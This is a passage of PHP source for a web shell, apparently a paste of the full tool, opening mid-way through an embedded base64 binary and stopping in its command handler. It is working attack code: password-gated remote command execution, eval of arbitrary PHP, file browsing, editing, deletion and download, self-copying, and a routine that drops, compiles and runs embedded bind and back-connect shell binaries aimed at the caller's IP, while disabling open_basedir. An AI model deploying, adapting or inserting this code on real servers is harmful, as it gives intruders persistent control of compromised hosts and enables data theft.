  255. CI9BZJ5EQrye41Wq8RYsQ4rIC6BGq1vdeohOQwsJeMIsCjgoMMtofmrPj4rQ2KvkYFZCeJDo4WhE
  256. RDBczWeLNbl42FBBhjhEs9ZhB37P/il0UGgoEGgUB6Nkbnop3uHWo2i8C94W/9BdvWf/PXQOoWgQ
  257. BVMRvhigV6phA0FNjgdWR1zr+I8MV5SsUrv6elZTi9ndFPebTgVvqHEkEG7bdW/rIdbVjii8s3Ql
  258. gSkfN/tfe3XrLR1Rg+MDdA0gHaEOKlQv8CBbNVB6z2jDyXQSOoN30j0DcRE67mwYgAjQNi76Kpgg
  259. I8B292Ov+gYny3LyFoPG3iweDLXCtyN1xjnrGIHixwwt9kjTCQ4ABDPSU+5s97ttVQoEiQdfdfiw
  260. dYWjAjlCMFlQRLWCUuQcVJ8QXAI+f0ZX8ltTZIme4FbUVtaMs5XfRhMdI+siIAxRTwg+G4heIgEI
  261. 3mLSWWxcFH4QoHEHRFRdzllZ5WDrotfJHRMdFhy8JQQu2XRIyOb5EHMqOtN9IAQbs3Ygcy5/JKCD
  262. 5yVzIP+Lc+RNnIjW14VWGQRgmxCCG3fEQdw2CMGGX+sTcP8mBby1sRGLOGfcdGa6ZG22M9xhIVf0
  263. TS/iLObsGqWMD+1/iRJPRfd0MvZFDQR0QD6zm6m2HHiyQNV/HtrAbG1kMkjSj1C6kIayyMeD8gvZ
  264. XN2zNtyJXeAuVkoyEluyfXfKutbfdM9k5Gd0nI+4zW43s3UEA+sGjChoIPggNmaU1VC/t3ELFKGL
  265. z8Zx0QgAlkrNi0RW/EoNEmywUELsQO1J9NjcEt3zDF7IKx6DwuSCkxaKdH4PODL1OqqBtwSe2eRA
  266. SXBrf2g8y5HPCYA7eDz8O5ACJNh1BLwD4Dt/CDkA8mg8aDw0XTdYP18GTANEPAk2TdM0LCQcPH/u
  267. M4cAaDzwgAMDkASbjKA8fwDnEfKQPrA9CD1IsOt+LJAYCzgDYD1/yCGQVwA+AD66brBQW7R/vAPE
  268. bJqmaczU3OT3PU4IARJ/HxAgwabrBRgDKDw+fxFm+gXM/yXAmgA1anMA/6sWSitBj8wDF00YkwPb
  269. pv6/cnVudGltZSBlcnJvclENCgNUAflv9kxPU1MRDgBTSU5H/rL2AlNPTUESEVI2MDI4t7+83Qgt
  270. IEthYmx0byBpbmlWYWw/3+zbaXoNaGVhcDcnN25vdLZvcGs9BHVn7nNwYWMjZuw2YO97bG93aThh
  271. Bm9uNyB5Crk2c3RkWvvtZzVwdXIrdmlydHUhM77Y9tulYyMgYwxsKF802nabQl8qZXhcL1iwk732
  272. BtziXzE599vu5r5vcGVYMXNvD2Rlc2NrbTJgKzhGJIHfQIhwZWQZVyM3dms0JG2brHRovyGM5Nth
  273. L2xvY2sXmtsGWzRkt2EuAvat4daiIXJtAHBAZ3JhbSB7IRS2Sm02LzA5T6MZWgoQQSorFPK5RjAu
  274. Kzg9D+H7YXJndShzXzAyZott267Bbm5ngm8FdDoR0ApnrWTmf00tYBj/8LY5ZhVWaXOqQysrIFKg
  275. Ye67PUxpYrRyeScKLRYaZ9vDRQ4hEVDUOsI2rEDZAC7v5eD89ra5JSxrbHduPhtHZXRMYbELd2wy
  276. QQJ2ZVCudXAT/61tZw9XlWQmh2Vzc2FnZUJvNb6wxHhBfXMlMzIuZCrPtaInN745SAMLVJhrxHI6
  277. IAMAq6QeQF4pp7Zq9ftSU01TUwdlbZk0U1ffAKX5v3MgTWFuDucoQnZyAFwv2gOZZMq2ACABKCCZ
  278. SB4ASAAQhEAmZAAQgQZkCGQBEIJkCGRAAhDuqsrcvwABB9sIdZAu2xhbBR/AZJBukAsdCwSWQAZp
  279. Bo0IjmRABmSPkJEFZEAGkpOyLEQHCAfvCowkLwtvDKsABZMZ9zWgb6uIbD9cB03TNE0JMAoMEOB0
  280. r2mWQhGwElcHExczTdNgGChYB033lk0ayEEbuwccaDRN0zR4WHlIetM0TdM4/DT/JKuInQRTAgTS
  281. ReTZwb5ggnmCIRem3wehpbx5/v2Bn+D8L0B+gPyowaPao0HOHmGXgf4HQG6QIbC1L0G2X+cr5P/P
  282. ouSiGgDlouiiW36h/lfy291RBQPaXtpfX9pq2jLT4GXn9tje4Pk5MX4A+AMyKCKwWdnVUVF8RyQw
  283. /f8GoE1EQnl0ZVRvV2lkZUNoYXID8H+7FFVuBm5kbGVkRXhjZXAF+la5bUZpJmUZD0N1cnK2oFWt
  284. v1UAcwJw2dYSI2kMQ1iTbIO1KA5BL1NEe+wLwGlytm9yeUFFU3lzJ7PWDmxtFFNvaxtq9hvAdGGP
  285. cEluZm8s7rNXuZbNgG9tbZ7J2jD3TGluZR61v8q2JABjJUWTT3L7F1sAWXMWmkFkZHKtCUABGExh
  286. PABHArpJVgVBbGANYGtMDUiBCj32NztSZQxDQUNQB01vZCycRbhyZUgqqFYjc2fBHjMtC09FTSd/
  287. VIBlwt55cCUPV1RruyU8ajSVQ01vIxCwCTtBDVd1ZUMB2JBlTr84RnJmKWxl7RhFbu3s0Jpe20R2
  288. Gm95ZhGGEDZXxeUbrAEUelvDZBIxey82DY3PTzZ7SZgEUIYYCc1QbnxSdGxgd2m8YfA0G7F0ypGJ
  289. AENw2Iy4ZnNlYGJPsDPiFjtTQ2xBDyPYjFkiZAw5CFgymnGGIRrbBfZRDkPlbIYtxF4Cn3RjaFvp
  290. ZzYLmKMO7B+GHMu2aballsz/AwI0FnfLsiwEAgENzlNBU9vmaAGIIQ4JAgj8lyctc4JQRUwBAwCJ
  291. C5Q/jIj9h+AADwELAQb0J3Zy2R3UFQQQAEAAEA+2YRNiEgcXYOxsFkyiDBAHy73sDQYAaESDR0DW
  292. DQii/B7WEBvBLhh0Oi6Q4LOQDTCY+mAuck2YdYaLJwlTA5pb7JRqQC4mJxwKUPKbkkFQwBO0RQAA
  293. aMVvsyQAAAD/AAAAAAAAAAAAAABgvgBQQACNvgDA//9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D
  294. 7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0
  295. icUB23UHix6D7vwR2xHJAdt1B4seg+78EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHb
  296. c+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz/
  297. //9eife5cAAAAIoHRyzoPAF394A/A3XyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWI2OLZjb4A
  298. UAAAiwcJwHRFi18EjYQwAHAAAAHzUIPHCP+WUHAAAJWKB0cIwHTcifl5Bw+3B0dQR7lXSPKuVf+W
  299. VHAAAAnAdAeJA4PDBOvY/5ZkcAAAi65YcAAAjb4A8P//uwAQAABQVGoEU1f/1Y2H5wEAAIAgf4Bg
  300. KH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnbof//AAAAAAAAAAAAAAAAAAAAAAAAAHyAAABQgAAA
  301. AAAAAAAAAAAAAAAAiYAAAGyAAAAAAAAAAAAAAAAAAACWgAAAdIAAAAAAAAAAAAAAAAAAAAAAAAAA
  302. AAAAoIAAAK6AAAC+gAAAzoAAANyAAADqgAAAAAAAAPiAAAAAAAAAcwAAgAAAAABLRVJORUwzMi5E
  303. TEwAQURWQVBJMzIuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MA
  304. AFZpcnR1YWxQcm90ZWN0AABWaXJ0dWFsQWxsb2MAAFZpcnR1YWxGcmVlAAAARXhpdFByb2Nlc3MA
  305. AABPcGVuU2VydmljZUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  306. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  307. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  308. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  309. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
  310. $shell_style = "
  311. <style type=\"text/css\">
  312. *{
  313.        font-family:Tahoma,Verdana,Arial;
  314.        font-size:12px;
  315.        line-height:20px;
  316. }
  317.  
  318. form{
  319.        margin:0 auto;
  320.        text-align:center;
  321. }
  322.  
  323. body{
  324.        background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') #333333;
  325.        color:#ffffff;
  326.        margin:0;
  327.        padding:0;
  328. }
  329.  
  330. input,textarea{
  331.        background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') #111111;
  332.        height:24px;
  333.        color:#ffffff;
  334.        padding:1.5px 4px 0 4px;
  335.        margin:2px 0;
  336.        border:1px solid ".$shell_color.";
  337.        border-bottom:4px solid ".$shell_color.";
  338.        vertical-align:middle;
  339. }
  340.  
  341. input:hover,textarea:hover{
  342.        background:#0a0a0a;
  343. }
  344.  
  345. a{
  346.        color:#ffffff;
  347.        text-decoration:none;
  348. }
  349.  
  350. a:hover{
  351.        border-bottom:1px solid #ffffff;
  352. }
  353.  
  354. h1{
  355.        font-size:17px;
  356.        height:20px;
  357.        padding:2px 8px;
  358.        background:".$shell_color.";
  359.        border:0;
  360.        border-left:4px solid ".$shell_color.";
  361.        border-right:4px solid ".$shell_color.";
  362.        border-bottom:1px solid #222222;
  363.        margin:0 auto;
  364.        width:90%;
  365. }
  366.  
  367. h1 img{
  368.        vertical-align:bottom;
  369. }
  370.  
  371. .box{
  372.        margin:0 auto;
  373.        background:#000000;
  374.        border:4px solid ".$shell_color.";
  375.        padding:4px 8px;
  376.        width:90%;
  377.        text-align:justify;
  378. }
  379.  
  380. .gaul{
  381.        color:".$shell_color.";
  382. }
  383.  
  384.  
  385.  
  386. .result, .boxcode{
  387.        margin:0 auto;
  388.        border:1px solid ".$shell_color.";
  389.        font-family:Lucida Console,Tahoma,Verdana;
  390.        padding:8px;
  391.        text-align:justify;
  392.        overflow:hidden;
  393.        color:#ffffff;
  394. }
  395.  
  396.  
  397. #explorer, table{
  398.        width:100%;
  399. }
  400.  
  401. table th{
  402.        border-bottom:1px solid ".$shell_color.";
  403.        background:#111111;
  404.        padding:4px;
  405. }
  406.  
  407. table td{
  408.        padding:4px;
  409.        border-bottom:1px solid #111111;
  410.        vertical-align:top;
  411. }
  412.  
  413. .tblExplorer tr:hover, .hexview td:hover{
  414.        background:".$shell_color.";
  415. }
  416.  
  417.  
  418. .hidden{
  419.        display:none;
  420. }
  421. .tblbox td  {
  422.        margin:0;
  423.        padding:0;
  424.        border-bottom:1px solid #222222;
  425. }
  426.  
  427. .tblbox tr:hover{
  428.        background:none;
  429. }
  430.  
  431. #mainwrapper{
  432.        width:100%;
  433.        margin:20px auto;
  434.        text-align:center;
  435. }
  436. #wrapper{
  437.        width:90%;
  438.        margin:auto;
  439.  
  440. }
  441.  
  442. .cmdbox{
  443.        border-top:1px solid ".$shell_color.";
  444.        border-bottom:1px solid ".$shell_color.";
  445.        margin:4px 0;
  446.        width:100%;
  447. }
  448.  
  449. .fpath{
  450.        border-top:1px solid ".$shell_color.";
  451.        border-bottom:1px solid ".$shell_color.";
  452.        margin:4px 0;
  453.        padding:4px 0;
  454. }
  455.  
  456. .fprop{
  457.        border-top:1px solid ".$shell_color.";
  458.        border-bottom:1px solid ".$shell_color.";
  459.        margin:4px 0;
  460.        padding:4px 0;
  461. }
  462.  
  463.  
  464. .bottomwrapper{
  465.        text-align:center;
  466. }
  467.  
  468. .btn{
  469.        height:24px;
  470.        background:url('".$_SERVER['SCRIPT_NAME']."?img=bg') #111111;
  471.        font-size:10px;
  472.        text-align:right;
  473. }
  474.  
  475. .hexview , .hexview td{
  476.        font-family: Lucida Console,Tahoma;
  477. }
  478. </style>
  479. ";
  480. //################# FUNCTION GOES HERE #######################==============================================]
  481. function xclean($text){
  482.         if (get_magic_quotes_gpc()) {
  483.                  $text = stripslashes($text);
  484.         }
  485.         return $text;
  486. }
  487. function xcleanpath($path){
  488.         if(is_dir($path)){
  489.                 $path = urldecode(trim(xclean($path)));
  490.                 $xSlash = DIRECTORY_SEPARATOR;
  491.                 while(substr($path,-1) == $xSlash){
  492.                         $path = rtrim($path,$xSlash);
  493.                 }
  494.                 return $path.$xSlash;
  495.         }
  496.         return $path;
  497. }
  498. function xparsedir($dir){
  499.         $xSlash = DIRECTORY_SEPARATOR;
  500.         $dirs = explode($xSlash,$dir);
  501.         $buff = "";
  502.         $dlink = "";
  503.         $system = trim(php_uname());
  504.         if(strtolower(substr($system,0,3)) != "win") {
  505.                 $dlink .= urlencode($xSlash);
  506.                 $buff .= "<a href=\"?dir=".$dlink."\">".$xSlash."</a>&nbsp;";
  507.         }
  508.         foreach($dirs as $d){
  509.                 $d = trim($d);
  510.                 if($d != ""){
  511.                         $dlink .= urlencode($d.$xSlash);
  512.                         $buff .= "<a href=\"?dir=".$dlink."\">".$d." ".$xSlash."</a>&nbsp;";
  513.                 }
  514.         }
  515.         return "<span class=\"gaul\">[ </span>".$buff."<span class=\"gaul\"> ]</span>";
  516. }
  517. function xfileopen($file){
  518.         $content = "";
  519.         if(is_file($file) || is_link($file)){
  520.                 if($fp = fopen($file,"rb")){
  521.                         while(!feof($fp)) {
  522.                                 $content .= fread($fp,1024);
  523.                         }
  524.                         fclose($fp);
  525.                 }
  526.         }
  527.         return $content;
  528. }
  529. function xfilesave($file,$content){
  530.         $dir = substr($file,0,strrpos($file,DIRECTORY_SEPARATOR));
  531.         if(!is_dir($dir)) mkdir($dir);
  532.         if($file != ""){
  533.                 $handle = fopen($file, "wb");
  534.                 if(fwrite($handle, $content) || ($content == "")){
  535.                         fclose($handle);
  536.                         return true;
  537.                 }
  538.                 fclose($handle);
  539.         }
  540.         return false;
  541. }
  542. function xtempfolder() {
  543.     if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
  544.     if (!empty($_ENV['TMPDIR'])) { return realpath( $_ENV['TMPDIR']); }
  545.     if (!empty($_ENV['TEMP'])) { return realpath( $_ENV['TEMP']); }
  546.     $tempfile=tempnam(__FILE__,'');
  547.     if (file_exists($tempfile)) {
  548.       unlink($tempfile);
  549.       return realpath(dirname($tempfile));
  550.     }
  551.     return null;
  552. }
  553. function xrmdir($dir) {
  554.     $files = glob($dir . '*', GLOB_MARK);
  555.     foreach( $files as $f ){
  556.                 if(is_dir($f)) xrmdir($f);
  557.                 else unlink($f);
  558.         }
  559.     if (is_dir($dir)) rmdir($dir);
  560. }
  561. function xhighlight($file){
  562.         $color_bg = ini_get('highlight.bg');
  563.         $color_html = ini_get('highlight.html');
  564.         $color_keyword = ini_get('highlight.keyword');
  565.         $color_default = ini_get('highlight.default');
  566.         $color_comment = ini_get('highlight.comment');
  567.         $color_string = ini_get('highlight.string');
  568.         $con = @highlight_file($file,true);
  569.         $con = str_ireplace($color_keyword,"#FF0082",$con);
  570.         $con = str_ireplace($color_default,"#F00000",$con);
  571.         $con = str_ireplace($color_string,"#888888",$con);
  572.         $con = str_ireplace($color_html,"#EEEEEE",$con);
  573.         return $con;
  574. }
  575. function xfilesummary($file){
  576.         $buff = "";
  577.         if(is_file($file) || is_link($file)){
  578.                 $buff = "Filesize : ".xparsefilesize(xfilesize($file))." ( ".xfilesize($file)." ) <span class=\"gaul\"> :: </span>Permission : ".xfileperms($file)." ( ".xfileowner($file)." )<span class=\"gaul\"> :: </span>modified : ".xfilelastmodified($file);
  579.         }
  580.         return $buff;
  581. }
  582. function xparsefilesize($size){
  583.         if($size <= 1024) return $size;
  584.         else{
  585.                 if($size <= 1024*1024) {
  586.                         $size = sprintf("%.02f",@round($size / 1024,2));
  587.                         return $size." kb";
  588.                 }
  589.                 else {
  590.                         $size = sprintf("%.02f",@round($size / 1024 / 1024,2));
  591.                         return $size." mb";
  592.                 }
  593.         }
  594. }
  595. function xfilesize($file){
  596.         if(is_file($file) || is_link($file)){
  597.                 if($size = filesize($file)){
  598.                         return $size;
  599.                 }
  600.         }
  601.         return "0";
  602. }
  603. function xfileperms($file){
  604.         $isreadable = "-";
  605.         $iswriteable = "-";
  606.         if(is_file($file) || is_dir($file) || is_link($file)){
  607.                 if(is_readable($file)) $isreadable = "r";
  608.                 if(is_writeable($file)) $iswriteable = "w";
  609.         }
  610.         return $isreadable . " / " . $iswriteable;
  611. }
  612. function xfileowner($file){
  613.         if(is_file($file) || is_dir($file) || is_link($file)){
  614.                 $fowner = fileowner($file);
  615.                 $fgroup = filegroup($file);
  616.                 if(function_exists('posix_getpwuid') && (function_exists('posix_getgrgid'))) {
  617.                                 $name=posix_getpwuid($fowner);
  618.                                 $group=posix_getgrgid($fgroup);
  619.                                 return trim($name['name'].":".$group['name']);
  620.                 }
  621.                 else{
  622.                         return "???";
  623.                 }
  624.         }
  625.         return "???";
  626. }
  627. function xdrive(){
  628.         $letters = "";
  629.         foreach (range("A","Z") as $letter){
  630.                 $bool = @is_dir($letter.":\\");
  631.                 if($bool){
  632.                         $letters .= "<a href=\"?dir=".$letter.":\\\"><span class=\"gaul\">[ </span>";
  633.                         $letters .= $letter;
  634.                         $letters .= "<span class=\"gaul\"> ]</span</a> ";
  635.                 }
  636.         }
  637.         if($letters != "") $letters .= "<br />";
  638.         return $letters;
  639. }
  640. function xfilelastmodified($file){
  641.         if(is_file($file) || is_dir($file) || is_link($file)){
  642.                 $lastm = date("d-M-Y H:i",filemtime($file));
  643.                 return $lastm;
  644.         }
  645.         return "???";
  646. }
  647. function xrunexploit($fpath,$base64,$port,$type){
  648.         $con = base64_decode($base64);
  649.         $system = trim(php_uname());
  650.         $final = "";
  651.         if(preg_match("/win/i",$system)){
  652.                 $fname = "bd.exe";
  653.                 $ip = "";
  654.                 $ok = false;
  655.                 $fpath = $fpath.$fname;
  656.                 if(is_file($fpath)) unlink($fpath);
  657.                 if(!xfilesave($fpath,$con)){
  658.                         $tmp = xcleanpath(xtempfolder());
  659.                         $fpath = $tmp.$fname;
  660.                         if(xfilesave($fpath,$con)) $ok = true;
  661.                 }
  662.                 else $ok = true;
  663.                 if($ok){
  664.                         $fpath = trim($fpath);
  665.                         if($type == 'connect') $ip = $_SERVER['REMOTE_ADDR'];
  666.                         $final .= $fpath." ".$port." ".$ip;
  667.                         ekse(trim($final));
  668.                         return true;
  669.                 }
  670.         }
  671.         else {
  672.                 if($type == 'connect') $fname = "back";
  673.                 else $fname = "bind";
  674.                 $ip = "";
  675.                 $ok = false;
  676.                 $fpath = $fpath.$fname;
  677.                 if(is_file($fpath.".c")) unlink($fpath.".c");
  678.                 if(!xfilesave($fpath.".c",$con)){
  679.                         $tmp = xcleanpath(xtempfolder());
  680.                         $fpath = $tmp.$fname;
  681.                         if(xfilesave($fpath.".c",$con)) $ok = true;
  682.                 }
  683.                 else $ok = true;
  684.                 if($ok){
  685.                         $fpath = trim($fpath);
  686.                         if($type == 'connect') $ip = $_SERVER['REMOTE_ADDR'];
  687.                         ekse("gcc ".$fpath.".c -o ".$fpath);
  688.                         ekse("chmod +x ".$fpath);
  689.                         if(is_file($fpath)){
  690.                                 $final .= $fpath." ".$port." ".$ip;
  691.                                 ekse(trim($final));
  692.                                 return true;
  693.                         }
  694.                         else return false;
  695.                 }
  696.         }
  697.         return false;
  698. }
  699. function xeval($code){
  700.         $code = xclean($code);
  701.         @ob_start();
  702.         @eval($code);
  703.         $buff = @ob_get_contents();
  704.         @ob_end_clean();
  705.         return $buff;
  706. }
  707. function ekse($cmd){
  708.         if(function_exists('system')) {
  709.                 @ob_start();
  710.                 @system($cmd);
  711.                 $buff = @ob_get_contents();
  712.                 @ob_end_clean();
  713.                 return $buff;
  714.         }
  715.         elseif(function_exists('exec')) {
  716.                 @exec($cmd,$results);
  717.                 $buff = "";
  718.                 foreach($results as $result){
  719.                         $buff .= $result;
  720.                 }
  721.                 return $buff;
  722.         }
  723.         elseif(function_exists('passthru')) {
  724.                 @ob_start();
  725.                 @passthru($cmd);
  726.                 $buff = @ob_get_contents();
  727.                 @ob_end_clean();
  728.                 return $buff;
  729.         }
  730.         elseif(function_exists('shell_exec')){
  731.                 $buff = @shell_exec($cmd);
  732.                 return $buff;
  733.         }
  734. }
  735. function xdir($path){
  736.         $path = trim($path);
  737.         $path = xcleanpath($path);
  738.         if(is_dir($path)){
  739.                 $fname = array();
  740.                 $dname = array();
  741.                 if($dh = @scandir($path)){
  742.                         foreach($dh as $file){
  743.                                 if(is_dir($file)){
  744.                                         $dname[] = $file;
  745.                                 }
  746.                                 else{
  747.                                         $fname[] = $file;
  748.                                 }
  749.                         }
  750.                 }
  751.                 else{
  752.                         if($dh = @opendir($path)){
  753.                                 while($file = @readdir($dh)){
  754.                                         if(@is_dir($file)){
  755.                                                 $dname[] = $file;
  756.                                         }
  757.                                         else{
  758.                                                 $fname[] = $file;
  759.                                         }
  760.                                 }
  761.                                 @closedir($dh);
  762.                         }
  763.                 }
  764.                 natcasesort($fname);
  765.                 natcasesort($dname);
  766.                 $buff = "<div id=\"explorer\"><table class=\"tblExplorer\">
  767.                <tr><th>Filename</th>
  768.                <th style=\"width:80px;\">Filesize</th>
  769.                <th style=\"width:80px;\">Permission</th>
  770.                <th style=\"width:150px;\">Last Modified</th>
  771.                <th style=\"width:180px;\">Action</th></tr>";
  772.                 foreach($dname as $d){
  773.                         $sd = $d;
  774.                         if($d == "..") {
  775.                                 $nextdir = "..".DIRECTORY_SEPARATOR."..";
  776.                                 $d = xcleanpath(realpath($sd));
  777.                         }
  778.                         elseif($d == ".") {
  779.                                 $nextdir = "..";
  780.                                 $d = xcleanpath(realpath($sd));
  781.                         }
  782.                         else {
  783.                                 $nextdir = ".";
  784.                                 $d = xcleanpath(realpath(".".DIRECTORY_SEPARATOR.$sd));
  785.                         }
  786.                         $dir = $d;
  787.                         $nextdir = xcleanpath(realpath($nextdir));
  788.                         $buff .= "<tr onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location= '?dir=".urlencode($d)."';\">
  789.                        <td><span style=\"font-weight:bold;\"><a href=\"?dir=".$dir."\">[</span> ".$sd." <span style=\"font-weight:bold;\">]</span></a></td>";
  790.                         $buff .= "<td>DIR</td>";
  791.                         $buff .= "<td style=\"text-align:center;\">".xfileperms($d)."</td>";
  792.                         $buff .= "<td style=\"text-align:center;\">".xfilelastmodified($d)."</td>";
  793.                         $buff .= "<td style=\"text-align:center;\"><a href=\"?dir=".$dir."&properties=".xcleanpath(realpath($d))."\">Properties</a> | <a href=\"?dir=".$nextdir."&del=".xcleanpath(realpath($d))."\">Remove</a></td>";
  794.                         $buff .= "</tr>";
  795.                 }
  796.                 foreach($fname as $f){
  797.                         $sf = $f;
  798.                         $f = $path.$f;
  799.                         $view = "?dir=".urlencode($path)."&view=".urlencode($f);
  800.                         $buff .= "<tr onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location='?dir=".urlencode(xcleanpath($path))."&properties=".urlencode($f)."';\"><td>
  801.                        <a href=\"?dir=".urlencode(xcleanpath($path))."&properties=".urlencode($f)."\">
  802.                        ".$sf."</a></td>";
  803.                         $buff .= "<td>".xparsefilesize(xfilesize($f))."</td>";
  804.                         $buff .= "<td style=\"text-align:center;\">".xfileperms($f)."</td>";
  805.                         $buff .= "<td style=\"text-align:center;\">".xfilelastmodified($f)."</td>";
  806.                         $buff .= "<td style=\"text-align:center;\"><a href=\"".$view."\">Edit</a> | <a href=\"?get=".$f."\">Download</a> | <a href=\"?dir=".xcleanpath($path)."&del=".$f."\">Remove</a></td>";
  807.                         $buff .= "</tr>";
  808.                 }
  809.                 $buff .= "</table></div>";
  810.                 return $buff;
  811.         }
  812. }
  813. //################# INIT GOES HERE #######################==================================================]
  814. error_reporting(0);
  815. @set_time_limit(0);
  816. ini_set("allow_url_fopen" ,1);
  817. ini_set("allow_url_include" ,1);
  818. ini_set("open_basedir",NULL);
  819.  
  820.  
  821. if(isset($_POST['passw'])){
  822.         $check = trim($_POST['passw']);
  823.         if($check == $shell_password){
  824.         setcookie("pass",$check,time() + 3600*24*7);
  825.         $m = $_SERVER['SCRIPT_NAME'];
  826.         header("Location: ".$m);
  827.         die();
  828.         }
  829.         else setcookie("pass",$check,time() - 3600*24*7);
  830. }
  831. if(isset($_COOKIE['pass'])) $check = trim($_COOKIE['pass']);
  832. else $check = "";
  833. if($check == $shell_password){
  834.  $auth = true;
  835.  }
  836. else $auth = false;
  837. if(isset($_GET['img'])){
  838.         $file = xclean($_GET['img']);
  839.         if(is_file($file)){
  840.                 @ob_clean();
  841.                 $inf = getimagesize($file);
  842.                 $ext = explode(basename($file),".");
  843.                 $ext = $ext[count($ext)-1];
  844.                 @header("Content-type: ".$inf["mime"]);
  845.                 @header("Cache-control: public");
  846.                 @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  847.                 @header("Cache-control: max-age=".(60*60*24*7));
  848.                 @readfile($file);
  849.                 exit;
  850.         }
  851.         else{
  852.                 $file = $$file;
  853.                 $data = base64_decode($file);
  854.                 @header("Content-type: image/png");
  855.                 @header("Cache-control: public");
  856.                 echo $data;
  857.                 exit;
  858.         }
  859. }
  860. if(isset($_GET['get']) && ($_GET['get'] != "")){
  861.         $file = xclean($_GET['get']);
  862.         $filez = @file_get_contents($file);
  863.         header("Content-type: application/octet-stream");
  864.         header("Content-length: ".strlen($filez));
  865.         header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  866.         echo $filez;
  867.         exit;
  868. }
  869. $xCwd = xcleanpath(getcwd());
  870. if(isset($_GET['btnConnect']) && (is_numeric($_GET['bportC']))){
  871.         $port = $_GET['bportC'];
  872.         $dir = xcleanpath(xclean(trim($_GET['dir'])));
  873.         $system = trim(php_uname());
  874.         if(strtolower(substr($system,0,3)) == "win") $base64 = $wBind;
  875.         else $base64 = $xBack;
  876.         if(xrunexploit($dir,$base64,$port,"connect")){
  877.         }
  878. }
  879. elseif(isset($_GET['btnListen']) && (is_numeric($_GET['lportC']))){
  880.         $port = $_GET['lportC'];
  881.         $dir = xcleanpath(xclean(trim($_GET['dir'])));
  882.         $system = trim(php_uname());
  883.         if(strtolower(substr($system,0,3)) == "win") $base64 = $wBind;
  884.         else $base64 = $xBind;
  885.         if(xrunexploit($dir,$base64,$port,"listen")){
  886.         }
  887. }
  888. if(isset($_GET['dir']) && ($_GET['dir'] != "")){
  889.         $newdir = xcleanpath(xclean(trim($_GET['dir'])));
  890.         if(isset($_GET['oldfilename']) && ($_GET['oldfilename'] != "")){
  891.                 $newdir = xcleanpath(xclean(trim($_GET['properties'])));
  892.         }
  893.         if(is_dir($newdir)){
  894.                 if(chdir($newdir)) $xCwd = $newdir;
  895.         }
  896.         else{
  897.                 $newdir = dirname($newdir);
  898.                 if(is_dir($newdir)) if(chdir($newdir)) $xCwd = $newdir;
  899.         }
  900.         if(isset($_POST['btnNewUploadUrl'])){
  901.                 $filename = xclean(trim($_POST['filename']));
  902.                 $fileurl = xclean(trim($_POST['fileurl']));
  903.                 if($filename == "") $filename = basename($fileurl);
  904.                 $filepath = $newdir.$filename;
  905.                 if($fileurl != ""){
  906.                         $con = xfileopen($fileurl);
  907.                         xfilesave($filepath,$con);
  908.                 }
  909.         }
  910.         elseif(isset($_POST['btnNewUploadLocal'])){
  911.                 if(is_uploaded_file($_FILES['filelocal']['tmp_name'])){
  912.                         $filename = xclean(trim($_POST['filename']));
  913.                         if($filename == "") $filename = $_FILES['filelocal']['name'];
  914.                         $tmp_name = $_FILES['filelocal']['tmp_name'];
  915.                         $filepath = $newdir.$filename;
  916.                         $stat = @move_uploaded_file($tmp_name,$filepath);
  917.                 }
  918.         }
  919.         if(isset($_GET['foldername']) && ($_GET['foldername'] != "")){
  920.                 $fname = xcleanpath(xclean(trim($_GET['foldername'])));
  921.                 if(!is_dir($newdir.$fname))     mkdir($newdir.$fname);
  922.         }
  923.         elseif(isset($_GET['del']) && ($_GET['del'] != "")){
  924.                 $fdel = xclean(trim($_GET['del']));
  925.                 if(is_file($fdel) || is_link($fdel)) unlink($fdel);
  926.                 elseif(is_dir($fdel)){
  927.                         xrmdir($fdel);
  928.                         $newdir = substr($newdir,0,strrpos($newdir,DIRECTORY_SEPARATOR));
  929.                         $newdir = substr($newdir,0,strrpos($newdir,DIRECTORY_SEPARATOR));
  930.                 }
  931.         }
  932.         elseif(isset($_GET['childname']) && ($_GET['childname'] != "")){
  933.                 $childname = $newdir.xclean(trim($_GET['childname']));
  934.                 $con = xfileopen($_SERVER['SCRIPT_FILENAME']);
  935.                 xfilesave($childname,$con);
  936.         }
  937. }
  938. if(isset($_GET['cmd']) && ($_GET['cmd'] != "")){
  939.         $cmd = xclean($_GET['cmd']);
  940.         if(preg_match("/^cd(.*)/i",$cmd,$c)){
  941.                 $newdir = trim($c[1]);
  942.                 $newdir = trim(urldecode(xclean($newdir)));
  943.                 if($newdir == "\\")     $xCwd = substr($xCwd,0,3);
  944.                 else{
  945.                         if(strpos($newdir,":") > 0){
  946.                                 if(is_dir($newdir))     $xCwd = xcleanpath(realpath($newdir));
  947.                         }
  948.                         elseif(is_dir($newdir)){
  949.                                 $xCwd = xcleanpath(realpath($newdir));
  950.                         }
  951.                         else{
  952.                                 if(is_dir($xCwd.$newdir)) $xCwd = xcleanpath(realpath($xCwd.$newdir));
  953.                         }
  954.                 }
  955.                 $result = xdir($xCwd);
  956.         }
  957.         elseif(preg_match("/^(\w{1}:.*)/",$cmd,$dc)){
